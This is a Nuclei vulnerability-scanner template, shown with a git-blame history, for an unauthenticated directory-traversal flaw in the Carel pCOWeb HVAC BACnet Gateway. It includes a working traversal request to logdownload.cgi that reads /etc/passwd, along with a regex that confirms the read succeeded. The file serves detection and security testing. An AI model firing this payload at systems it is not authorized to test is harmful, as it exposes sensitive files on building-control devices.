nuclei-templates/http/vulnerabilities/other/carel-bacnet-gateway-traver...

id: carel-bacnet-gateway-traversal

info:
  name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion
  author: gy741
  severity: high
  description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
  reference:
    - https://www.zeroscience.mk/codes/carelpco_dir.txt
    - https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: carel,lfi,traversal,unauth,bacnet
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

# Enhanced by mp on 2022/07/22
Update and rename carel-bacnet-gateway-directory-traversal.yaml to carel-bacnet-gateway-traversal.yaml 2022-07-18 08:17:02 +00:00			`id: carel-bacnet-gateway-traversal`
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com> 2022-07-16 01:59:44 +00:00
			`info:`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion`
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com> 2022-07-16 01:59:44 +00:00			`author: gy741`
Dashboard Enhancements + Severity Matching (#5245) Dashboard Enhancements + Severity Matching 2022-08-29 20:21:30 +00:00			`severity: high`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.`
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com> 2022-07-16 01:59:44 +00:00			`reference:`
			`- https://www.zeroscience.mk/codes/carelpco_dir.txt`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`- https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/`
			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
			`cwe-id: CWE-22`
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot: 2022-08-27 04:41:18 +00:00			`tags: carel,lfi,traversal,unauth,bacnet`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com> 2022-07-16 01:59:44 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com> 2022-07-16 01:59:44 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"`

			`matchers:`
			`- type: regex`
			`regex:`
			`- "root:.*:0:0:"`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00
			`# Enhanced by mp on 2022/07/22`